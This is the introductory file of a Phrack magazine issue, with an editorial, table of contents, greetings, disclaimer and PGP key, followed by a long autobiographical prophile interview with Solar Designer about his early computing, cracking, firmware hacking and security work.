This release also comes with an excellent prophile on Solar Designer, a person we all respect for his knowledge, attitude and contributions. We were initially hesitant to contact him (yeah this guy has a damn busy schedule), but it turned out that Solar was positive about being prophiled. We believe this prophile will inspire a lot of people in the scene ‑ it's undoubtedly one of the best prophiles ever published in Phrack and a great honor for all readers.

Enjoy maafakaz!

‑‑[ Dark thoughts about the future

As we mentioned above, you have probably noticed a big change in the way Phrack papers are released. We have decided to also have a paper feed mode in addition to periodic releases, where each submitted work, that meets the requirements, is released as soon as it has undergone proper reviewing. We understand that this may not be as cool as releasing an issue at once, but it was a necessary choice we had to make to avoid having Phrack fade out of existence. The hope with this, is that now all you crazy world traveling, conference speaking rockstars may have a medium for releasing a deeper dive into the technology that you are presenting, and we can publish this at the exact moment you are on stage. Personally, we would much prefer this than trying to extract it ourselves from your pretty slide decks.

I guess we are all responsible for this. The community as a whole. The hackers, the phreakers and all those tech perverts out there who have stopped supporting Phrack. Trust me you would be disappointed if you had a look at our inbox... or maybe no one uses ANTISPAM anymore? :>

For all you hackers out there thinking "I don't have a large project ready for paper generation", consider writing something for Linenoise. Linenoise submissions take between a few hours and one day. As a community everyone has some small technique or cool trick that can save other people time, Linenoise offers an easy place to share these.

In this issue you will find a very interesting article titled "The Fall of Hacker Groups". Take some time to read it through and wonder why the fuck did we get here. The state of mind of the community seems to be changing dramatically ‑ what have you done to prevent hacking from practically disappearing?

Quoting Phrack #63:

"As long as there are hackers, there will be PHRACK magazine."

Now take some time, read this issue carefully, and notice the "as long as" part in the previous sentence :>

‑‑[ Table of contents

0x01 Introduction .......................................Phrack Staff

0x02 Phrack Prophile on Solar Designer ................... Phrack Staff

0x03 Phrack World News ................................... Phrack Staff

0x04 Linenoise .......................................various

0x05 Loopback .......................................Phrack Staff

0x06 The Fall of Hacker Groups ........................... strauss

0x07 Revisiting Mac OS X Kernel Rootkits ................. fG!

0x08 Adobe Shockwave:

A case study on memory disclosure ................... Aaron Portnoy

0x09 Modern Objective‑C Exploitation Techniques .......... nemo

0x0a Self‑patching Microsoft XML with misalignments

and factorials ...................................... Alisa Esage

0x0b Internet Voting: A Requiem for the Dream ............ kerrnel

0x0c Attacking Ruby on Rails Applications ................ joernchen

0x0d Obituary for an Adobe Flash Player bug .............. huku

0x0e OR'LYEH? The Shadow over Firefox .................... argp

0x0f How to hide a hook: A hypervisor for rootkits ....... uty & saman

0x10 International Scenes ................................ various

‑‑[ Greetings & thanks

For this issue we have a long list of people we would like to thank. This issue wouldn't be complete had it not been for their support.

* strauss : Straus.. staruss... strsauss.. whatever man! * fG! : The legendary white hat(ed) hero!

* Aaron Portnoy : Real name detected!

* nemo : That lolcat you see in various memes ;‑) * Alisa Esage : Knows how to write exploits and doesn't work for P0 * kerrnel : What's with the extra "r"?

* joernchen : Ruby two‑handed fapper

* argp : Hardcore Shakira fan ‑ Favorite song "Heaps don't lie" * huku : Casual youporn uploader

* sysk : Proud yolo Phrack supporter

* uty & saman : Makefiles suck!

* solardiz : Awesomeness prophiled

* fjserna : Guest reviewer of, well, you can figure out what * anonymous : You know who you are, thanks for you support!

Last but not least, Phrack Staff is indebted to <redacted> *wink *wink* for his support all these years. You have our respect for everything you have offered to this magazine. We are now in different teams, but we will always be glad to have some beers with you and talk about dirty hacks ;> See you soon man!

Phrack is back! Prepare your arse for a new awesome release of your favorite zine.

‑‑[ Phrack policy

phrack:~# head ‑77 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑( Contact )‑‑‑‑

< Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org < < Commentary : loopback[@]phrack{dot}org > > Phrack World News : pwned[at]phrack{dot}org <

Submissions may be encrypted with the following PGP key: (Hint #1: Always use the PGP key from the latest issue) (Hint #2: ANTISPAM or it didn't happen)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PHRACK

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

=cK7U

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Phrack Prophile on Solar Designer

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x02 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Solar Designer ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specifications

Handle: Solar Designer

AKA: solardiz. Also, I used to hide under my real name. Handle origin: A turn‑based game played over FidoNet (which IIRC I played just once, but it took a while), and demoscene. In 1994, I needed a handle to register on "private" BBSes where real names were discouraged. I chose this one without giving it much thought, and it has stuck. Age of your body: Older than Pushkin

Height & weight: Quite some & not much

Produced in: USSR

Urlz: http://www.openwall.com/phrack

I imagine it will be gone when a historian reads this many centuries later.

Computers: B3‑21, MK‑52, (no longer have my EC‑1841), 386DX40+387, 2x MicroVAX 3100‑80, 2x Sun Ultra 5/10, Alpha 164SX (and I had a 21066‑based Multia for a year before), HP 712/80, development boards (ZedBoard + Epiphany FMC, many ZTEX FPGA boards waiting for their use), routers, etc. (the EdgeRouter Lite is MIPS64, runs FreeBSD, and is used for general development, so surely qualifies as a computer?) HP200LX, Nokia Communicator series (9110, 9300, N900). Lots of semi‑ancient x86 (e.g., dual Pentium 3, RIMMs) and many x86‑64 (some laptops, etc.), some of which are frankly what I actually use these days. Some GPUs and Xeon Phi in boxes we've setup for the larger community. Creator of: I'm the original author of most of the individual pieces of software released under Openwall, including John the Ripper password cracker and Linux 2.0.x to 2.4.x ‑ow security hardening patches (now historical). Openwall GNU/*/Linux distro, with a team. More recently yescrypt,

with 1.0 release planned in 2016. Assorted programs for DOS in a previous life, including (but not limited to) "software protection" and cracks. Member of: Back in 1990s: BPC, uCF; I also participated in w00w00. Admin of: Openwall. We host some moderated mailing lists, etc. including e.g. oss‑security and kernel‑hardening, and also including the private distros list (which sort of replaced vendor‑sec and those predating it, and which I always have mixed feelings about). That's already‑public info, and it has to be such, so no OPSEC fail here. Projects: Most of those currently active at Openwall. Codez: You mean stuff that is of more hack and historical value than of direct use? I am often reminded of those first ret2libc exploits I sent to Bugtraq in 1997. I'll mention a few more further in this prophile. Active since: 1994? I was not into "the scene" before. Inactive since: 1997? I no longer release under a group since then, so maybe not on the scene either? Besides, we got a CFAA‑alike in Russia since 1997, limiting the playground. That said, I was doing computer stuff before 1994, and I still am now.

|=‑‑‑=[ Favorites

Actors: Not really. I think screenplay matters more. I recognize some screenwriters and directors like Gilliam and Zemeckis. Oh, actually, let me agree with PaX Team's answer here ‑ Chaplin as this is consistent with what I just said. Films: I can't pick just a few favorites, but I was relieved to find out that The Shawshank Redemption ranks so high on IMDB. Maybe the humanity has hope (or at least IMDB reviewers do). Authors: I really would rather not name just a few, or I'd later regret. (I already almost regret mentioning just some directors above.) Meetings: What's meant to go into this field? Where to meet? Restaurants, cafes, bars without loud music (unless intentionally attending a live performance). I'd also consider meeting at a hackerspace. I rarely meet people in person, though. To compensate for that, I really like it how there are now two practical ("non‑paper") computer security cons in Moscow per year ‑ PHDays in May and ZeroNights in November ‑ with mostly the local crowd, but always also some foreign speakers and attendees.

Sex: What's the right answer? Something like y?(+++++++)? Books: I'd say encyclopedia. Now that would be Wikipedia. Novel: Sadly, I am not reading much. If I were, I would probably not be able to single out just a few titles. As a kid, I read War and Peace, and I liked it. (I hear it was also taught in Soviet schools, but luckily I skipped that and read it on my own will.) More relevant to Phrack readers, I also recall I liked reading (in 1990s) Stephen King's The Dead Zone and John Varley's Press Enter (OK, that one is too short for a novel, and I had to look up who wrote it to refer to it now, but I did in fact like it). Meeting: HAL2001 stands out because it was a first for me, and I liked its atmosphere and extent.

Music: There are few genres that I don't recall ever enjoying listening to, but I tend to especially like rock, jazz, bossa nova. Alcohol: Dark beer

Cars: No favorite, and not my thing, but some do look stylish to me or have a history or fiction attached to them (such as the DeLorean, which apparently wasn't that good a car otherwise). I also value the designers' achievements. At a local retro sports car exhibition last year, it was interesting for me to see how greatly the horsepower per cc and torque per cc improved over the years, and how a few custom engines stood out. It's an optimization problem not entirely unlike what we have in computing and communications, where some designs were also "ahead of their time".

Girls: Not between Cars and Food

Food: Italian is usually a safe bet

I like: All sorts of freedom (as long as it doesn't infringe on someone else's), free time, good people, nature, (im)perfection I dislike: Simply inverting the "I like" above would be bad enough as it is (except that (im)perfection is its own inverse). I'd rather not provide even worse (or better, from adversary's POV) hints than that. Oh, I'll add just one: filling out guinea pig forms like this... but who am I to break the tradition?

|=‑‑‑=[ Life in 3 sentences

Way too little achieved in this much time. I could do a lot more, but if I act unnaturally would that still be me? (Rhetorical.)

|=‑‑‑=[ Passions, what makes you tick

Curiosity and self‑defined challenges (especially if unannounced so they don't become a drag) combined with whatever else I like.

|=‑‑‑=[ Memorable experiences

You suggest some questions along the lines of "how did you start?" to be answered for your readers further in my prophile, so I'll turn this section into a background story for answering those. It got rather long (and off‑topic?), so your readers should feel free to skip to the next section and maybe revisit this one later. Here we go, with some recalled or maybe just made up computer and electronics related experiences from 1980s and 1990s roughly in chronological order:

Nearly winning a Darwin award as a kid. Before I got access to computers, I was having fun with electrical circuits, and some of those experiments were not well‑suited for a kid nor always conducted with appropriate precautions. Luckily, this only made me stranger. When I was 8, I learned the hard way that you don't test a hypothesis by assuming it's true and just letting things go wrong if you're wrong, if "wrong" can mean it'd be the last thing you'd realize. If you feel you need to test, you recognize there's a chance you are (or something is) wrong. It's just like how you shouldn't test whether your restarted sshd still works by first logging out and then trying to log back in ‑ something I still see adults do, presumably because they were not that close to be Darwin winners as kids.

Playing with Soviet cable radio during a few of the "technical breaks" (when normal broadcast stopped). Listening to foreign shortwave stations (DXing?), including through the jamming (was more tolerable out of town).

Finding near the garbage cans a cabinet drawer with tools (including a soldering iron), electronic parts, and all 12 of the Soviet "Radio" magazine issues from 1966. I guess someone had passed away, someone who ended up having some influence on me. (Later I actually built and briefly tested an 80 meter band transmitter described in one of those issues, based on two vacuum tubes, but I never got into ham radio.)

Fast arbitrary precision division (typically 5 digits per iteration), writing down some 100+ digit periodic sequences, which felt like magic (will this thing repeat after N‑1 digits again? oh yes it does), on a non‑programmable 8‑digit calculator. I came up with the algorithm on my own. I didn't know the word "algorithm" back then, nor programming.

Exploring and eventually programming my father's B3‑21, with great fun.

Getting some written‑off Soviet mainframe boards with K155 series TTL chips on them (equivalent to 74 series), mostly K155LA3 (7400). Luckily, a book on those just happened to arrive to a nearby bookstore, so I started building my own logic circuits. I recall craving for more K155TM2's (7474, dual D flip‑flops), which were lacking. I ended up desoldering a K155TM2 from an expensive toy, which I was done playing with, to build my own toys with the flip‑flops. In general, almost all of the electronic parts I was building circuits from had been previously used. You couldn't just go to a store and buy parts that you needed when you needed them. For example, I didn't have enough LEDs, so I used transistors and bulbs to indicate logic levels like if it were 1960s or 70s.

Since 1989 or so, having sporadic time‑limited access to BK‑0010 and a variety of x86 ranging from different PC/XT clones (with green phosphor CGA and Hercules monitors) to early 386+287 (with early vendor‑specific SVGA) and then even the super fast & pricey 386+387 33 MHz. (I think 486s were still subject to CoCom export regulation.) There was also a Japanese 24 pin dot matrix printer capable of up to 360 dpi, with a decent user's manual on its escape sequences, so I actually printed graphics in 360 dpi on it, multi‑pass and very slow of course. My own vector font, too, created in my own font editor. Not having much time to debug code on the actual machines, I initially wrote programs on paper and debugged them mentally, then typed them in and they had to work right with only minor changes needed. (This skill later proved especially helpful for firmware modification, as well as for exploits.)

It's during this period that I learned 16‑bit x86 asm through reading some books and a printout of the disassembly of KILL.COM, a ~4 KB DOS TSR program that allowed a user to forcibly kill the currently active program and return to DOS, with both this tool and the Sourcer disassembler having been given to me by a friend on a floppy. Other languages explored included: BASIC dialects; Fortran for bringing programs (that my father was using for work) from mainframes to PC; Turbo Pascal, which worked the smoothest, but couldn't use 386's protected mode yet (unlike one of the Fortran compilers, which could). (A bit later, I wrote a Fortran 66 to Pascal source level translator that would reconstruct program structure from all those labels. Many years later, I migrated some of those Pascal programs to Linux/Alpha, building them with GNU Pascal, mostly for fun.) I also briefly started with C in 1990 or so, but soon abandoned it because of inefficient static linking under DOS (too much dead code).

Back then, and in DOS, the command‑line felt like it was being obsoleted by tools such as Norton Commander (and then its many clones) and Borland's or Microsoft's recently introduced IDEs for their compilers, but somehow not for the assemblers, nor for Fortran. By 1992, I had an own IDE developed for DOS (yes, first written on paper, piece after piece, and then typed in during those occasional computer sessions), which had its own text editor (as well as bells and whistles such as a calculator ‑ but no, exploits didn't pop it up) and it was capable of running the CLI compilers with their output captured via INT 10 intercept and analyzed, so it would place the cursor right at the error line, just like those vendors' IDEs did. Of course, it could also run the just‑compiled program... and it could kill it, too. Somehow I felt this was important enough for me to have bothered with all this effort (or maybe it was just about the challenge, as usual). Over a few years, I also worked on other TUIs and GUIs for various programs (ranging from 320x200 CGA to weird VGA ModeX resolutions and to 1024x768 SVGA under DOS, with my own drivers and my port of Borland's Turbo Vision from text to graphics modes). (It's only after I discovered Unix that I realized I am perfectly comfortable using a compiler from the command‑line, and don't really need IDEs. These days, I am not using any IDE. Maybe I also moved to developing different kinds of software, where IDEs are less helpful. I don't oppose to using an IDE again for a right project.)

MK‑52 with its whopping 512 bytes of EEPROM on top of these calculators' tiny program and data memories. Yeggogology, where you explore the undocumented world of the calculator trying not to hit the darkness (you have to power‑cycle when you do).

Together with my father, buying our first home computer, the Soviet PC/XT software compatible EC‑1841, from its previous owner, for a full bag of Soviet 5 ruble banknotes weighing a few kilograms. IIRC, my father got those earlier the same day as a withdrawal of a very recent payment (so not yet eaten up by the inflation), which came for a project I contributed to as well. Somehow the bank only had sealed packs of 5 ruble bills.

"Snow" on CGA screens, and suppressing it, or choosing not to ‑ for speed.

Low‑level formatting a brand new unformatted 20 MB MFM hard drive (ST‑225), for a neighbor's EC‑1845, with a program I wrote for this one occasion (OK, I cheated ‑ used BIOS calls ‑ but not a do‑it‑all routine, which I was not aware of and might not have had in my BIOS). Tuning the interleaving, too.

In 1993, already on a 386 at home, cracking a key floppy protected program, using nothing but DOS debug, paper and pencil, many reboots and patience. Since then and until 1996, I went into both cracking and creating "software protection" systems ‑ initially naive, then smarter, and eventually moving from simple code encryption and anti‑debugging tricks (eventually confusing non‑patched SoftICE alright through inconsistent opcode and ModR/M byte combinations, handling those on INT 6) to use of VMs (NOR CPU, reinventing OISC as I realize now).

A couple of years later, a brief encounter into creating key floppies for software protection, with arbitrarily‑numbered different‑size sectors on a track and some decoys. A Win16 DLL, written in asm and using Win16/DPMI/ BIOS calls, to check this floppy. BIOS actually allowed for a lot of flexibility through temporarily patching the diskette parameter table from a critical section. Of course, this was easily crackable in software, but that was OK for the given project.

Game programming, on all devices ranging from the calculators (for turn‑based games, as the only way to provide input without interrupting the program was via the radian‑degree switch) to computers. Reuse of ChiWriter printer fonts for good‑looking large captions on screen. Playing some computer games too. Eventually own multi‑window graphics/sprite editor, own adventure game engine (both recently reused in DOSBox for my ZeroNights 2014 keynote game, and as a toy for my son, who ended up adding so many sprites to his game that he triggered a stack overflow in the game engine).

Getting on BBSes via a 2400 bps modem in 1993.

Getting on the Internet and on Unix in 1994 ‑ and revisiting C programming. FTP sites, Archie. Then early web sites, AltaVista. X.25 PADs, mostly as a means to get to a system that would have Internet. Linux kernel 1.2.3 on my 386. Playing mouse to retain Internet access and development access to non‑x86 boxes, and getting a bit carried away. Back then, I didn't quite realize I was merely playing mouse, with cats out there. I also didn't realize not all other players treated this as a game. I did have other ways to get online, such as when physically visiting places that had Internet access, as well as by using single‑line dialups that friends set up in such places, but I couldn't reasonably use them as much as I wanted to and they were not part of the game.

Implementing DES in assembly for 32‑bit SPARC to use double‑register load and store instructions (thus, 64‑bit), which the C compiler somehow wouldn't use. The fun part was debugging this on x86, as I didn't have a SPARC at home yet and didn't want to do it all online, so I wrote a partial SPARC to x86 assembly source level translator to let me get the computation right before testing and optimizing on a remote Sun machine. (Later I also wrote similar DES code in assembly for Alpha, but debugged it on the real thing right away.)

Longwave (a few hundred KHz carrier) radio transmission experiment from my resistor‑based Covox on the 386's printer port. I could pick up Led Zeppelin's Immigrant Song, which I had digitized from an audio cassette at 6‑bit 20 kHz mono via a two‑transistor comparator on the same Covox and was now transmitting, on a commodity receiver from a few meters away. So I totally reinvented software‑defined radio on my own, having no idea it was already a thing (Wikipedia says so). Now this could be called an airgap bypass PoC (or not, since the receiver wasn't a computer), but I didn't think in such terms back then. (And yes, I didn't have a real soundcard.)

Audio playback via floppy drive motors (2 signal levels: low on 3.5", high also on 5.25"). Yes, Immigrant Song again. It's only recently that I learned others did this too (there are videos on YouTube), albeit apparently without the 2‑level separation (and instead with multiple channels) and for sheet music rather than for arbitrary audio recordings.

A brief experiment with blueboxing using the same Covox, with little luck: the line responded to 2600+2400, but seemingly ignored other CCITT #5 signals. (Apparently, blueboxing with different signaling worked on ex‑USSR lines, but usually wasn't completely free, and I never tried to get into it. Arbitrary dual‑tone capability was even included in the Russian Courier modems, which were different hacks of USR modems.)

USR Courier modem firmware hacking: I put a debugger with disassembler and breakpoint support right in there, available via added AT commands, just for fun. (How do you implement breakpoints when the code is in EEPROM and the CPU lacks hardware breakpoint support? By keeping the CPU in single‑step mode while there's a breakpoint set! Is it still fast enough for the modem to work, then? Turns out that for the supervisor CPU, not the DSP, the answer is yes, although the lag is barely bearable.)

The disassembler I wrote had only 164 bytes of native code (could it be the smallest disassembler ever written for a complete CISC ISA?), with the rest (over 2 KB) being data: a special‑purpose data structure with arbitrary bit patterns to match and strings to print, and cross‑references for reuse of common patterns and substrings across instruction groups. Is this possibly interpreted code in a domain‑specific language rather than data? "What's the difference?" (WOPR's answer in WarGames, could be about code vs. data)

Making mostly non‑impressive intros, probably not my thing. I might have contributed to the smallest categories appearing (128‑byte initially) by advocating this in a Russian FidoNet group where the first such competition was then carried out (and where my entry shared second place with another participant's), with other competitions in these sizes appearing internationally shortly thereafter (as the 20 intros from the first Russian competition were uploaded to foreign sites).

Winning a contest for smallest "mkdir ‑p" implementation for DOS, with a 20 bytes entry: BA 82 00 5F B8 5C 39 31 05 47 AE 75 FD 4F 31 05 CD 21 EB F0. How does this program terminate cleanly? Self‑modifying code, and moreover letting the program XOR over itself. (The contest rules were weird: only documented DOS features and startup register values, yet OK to require trailing backslash. 19 bytes was demonstrated possible, and less than that might be, with reliance on undocumented startup register values.)

Being wrong yet over‑confident or/and elitist on some occasions ‑ luckily not many (that I recall). Not good of me.

In 1997, joining an ISP (by demonstrating a vulnerability, of course) and starting to play cat to keep mice under control (but not hurt), as well as not needing to play mouse myself anymore. A tiny unreleased exfiltration detector I wrote at the time was called Tom. There was also, in modern terms, a metadata analysis tool for traffic to one of the first social networks ‑ ICQ, which was extremely popular among Windows users here ‑ to keep track of abusers on dialup lines despite changing accounts, and even be alerted when a friend‑of‑abuser shows up. That tool I never let anyone else use, and never released, for ethical reasons. (Of course, I was "entitled" to use it, right?.. Oh, excuses.)

On a related note, caller IDs were very common at homes in Russia, starting to appear in early 1990s. These were based on inexpensive telephones with most of their original contents thrown out and replaced by a board with a Soviet clone of 8080 or with an imported Z80 CPU. They reused in‑band signaling initially intended for use by long‑distance exchanges (with the caller's line disconnected for a moment with a relay at their local phone exchange, to prevent spoofing), but technically also available to the called party on local calls (and easily audible and tamperable with by the caller, since the long distance call's anti‑spoofing relay wasn't triggered). Despite of their popularity at homes, they were almost never used on dialup lines. Similarly, while some late modem firmware hacks included caller ID functionality for ex‑USSR, those were targeted at consumers (including e.g. FidoNet nodes) rather than ISPs. It's only with the move of dialup lines to digital interfaces (E1) reaching into the ISPs in late 1990s to early 2000s that caller numbers commonly started to appear in TACACS+ or RADIUS server logs at ISPs. Until then, it was cheaper to extract and selectively log ICQ UINs.

Also in 1997, posting a rough non‑executable user stack patch for the Linux kernel to LKML while running it on my very computer, and being told that it can't work (because signal handlers, which I had already worked around in the patch I posted, and gcc trampolines, which I had not encountered yet due to libc5 rather than early glibc).

The ISP's chief sysadmin's reaction when I casually mentioned that my Linux kernel patch we were about to install on the servers had just started to use ring 2, in addition to 0 and 3. (We did install, and it worked great.)

Apparently, forgetting my childhood Darwin lessons and letting a coworker at the ISP flash my modified firmware (fixing a connection stability issue) into all 16 of the modems in a Total Control unit without power‑cycling it after the first flash... and getting the checksum wrong. Oops. (The modems then worked fine until power‑cycle.) Luckily, recovery was as easy as for the individual Courier modems, so not a big deal, but it did cost some downtime for those 16 lines (there were many more already).

Tweaking L2 cache timings of the dying Multia to prolong its life, having read up on 21066's "internal processor registers". Then returning it to its owner and buying 164SX+21164PC of my own in 1998, and tweaking L2 cache timings via 21164PC's different IPRs the other way for speed (years later, my tweaks would turn out to reliably result in a specific miscompile when building our Linux distro, Owl ‑ oops). Tweaking a Modeline for 2000x1500 on a 21" CRT (worked, but was painful to look at because of low refresh rate; I actually used 1600x1200). In general, tweaking lots of things.

Finally playing with VMS on VAX a little bit (and VT420's, with yellow phosphor for a change), including e.g. mounting a filesystem from tape something normally not possible on Unix where tape drives are character devices. DECnet between Linux and VMS.

This brings us almost to 2000s. I'll cover some of the newer stuff below.

|=‑‑‑=[ Quotes

I have no favorites, but I find these relevant:

"Is this a game or is it real?" (WarGames)

"If you shame attack research, you misjudge its contribution. Offense and defense aren't peers. Defense is offense's child." (John Lambert)

|=‑‑‑=[ What's your opinion about Phrack?

I was about 10 years late to the party. I think I got my hands on a pack of Phrack issues for the first time in 1994 or 1995. Phrack has been changing: it had already changed by the time I first saw it, and it has changed since. I think that's fine. It doesn't need to revert to the US‑centric phreaking/anarchy zine of 1980s, nor try to play the same role that it did in 1990s now that there are many other alternatives.

Over the many Phrack issues so far, it captures diversity and evolution of the underground. The diversity just among the people prophiled is of such extent that on one hand they don't quite fit (e.g. I'm mildly offended to be prophiled after certain other individuals had been some issues before), but on the other that's how it is in life. Similarly, the philes range from utter crap (luckily not much of it, such as the uncalled‑for ridicule in the Loopbacks) to inspirational or capturing the diversity of scene spirit or (lately) opinions on the scene dying (or maybe not), and to quality technical content (a lot of it).

Of course, opinions on what constitutes utter crap vary. For some of your readers, much of what I wrote above will be whitehat crap (ethics huh?) or just off‑topic (historical software development thoughts in Phrack, huh? where are all the sploits? yet that's the balance I preferred, as the prophile is on me and I'm not only into (in)security and colored hats).

As I don't worship Phrack, frankly I've actually read or even skimmed over only a minority of the issues/philes. With my Issue #53 article and this prophile, I've probably already spent more time writing for Phrack than reading it. As a Soviet joke goes, I'm a writer and not a reader.

|=‑‑‑=[ What you would like to see published in Phrack?

I like good people and quality content, but I realize that the diversity is also what makes Phrack valuable as what it has been so far.

So the diversity should be preserved, albeit not to the extent where us the "sensitive whitehats" (really, even with some of the risque fiction I wrote above?) or them the "terrible blackhats" would refuse to contribute to further issues. Of course, I don't mean these labels literally ‑ as FX said and I agree, undef($hat); ‑ oh and Perl is fine with me, but I do think the editors need to strike a balance between whatever there is.

|=‑‑‑=[ What do you think is the role of Phrack in the current "scene" that is dominated by "cons"?

Phrack is in fact less important now that there are so many other ways to share one's experience, research, or rants ‑ and by far not only at cons.

What I think Phrack may continue to provide is perspective over an extended period, including via these prophiles, as well as by soliciting and selecting for publication articles that are of longer‑term relevance.

|=‑‑‑=[ Who or what inspired you to start hacking?

Friends have helped introduce me to things, and conversely I made friends while doing things.

Technical challenges. Curiosity to explore. Exposure (and addiction?) to the networked world beyond local BBSes, and survival (will I be on the net tomorrow?)

|=‑‑‑=[ We know that no one will ever admit he's part of the underground, but, when and how did you enter it? :>

What's underground and what's not is fuzzy, but as it happened in 1994 a friend I had made on BBSes/FidoNet invited me (as a coder) to a group he was starting and to private BBSes. At about the same time, I also got on the Internet and wanted to retain my access and to explore, and I got in touch, via IRC and such, with folks in other countries, both demoscene and software cracking scene. As I recall, mARQUIS of the recently formed uCF had released a cracked version of EXE Manager, my software protection tool. I joined their channel for a friendly discussion, and ended up being invited to and joining the group.

|=‑‑‑=[ What do you consider your most notable technical achievement?

May I list several that I find somewhat notable? I think all but possibly the most recent would have been invented by others by now.

I think I helped accelerate the move from shellcode to borrowed code, with that 1997 posting of first ret2libc exploits. Initially, this appeared to have made no effect, but then things started changing, and changing a lot.

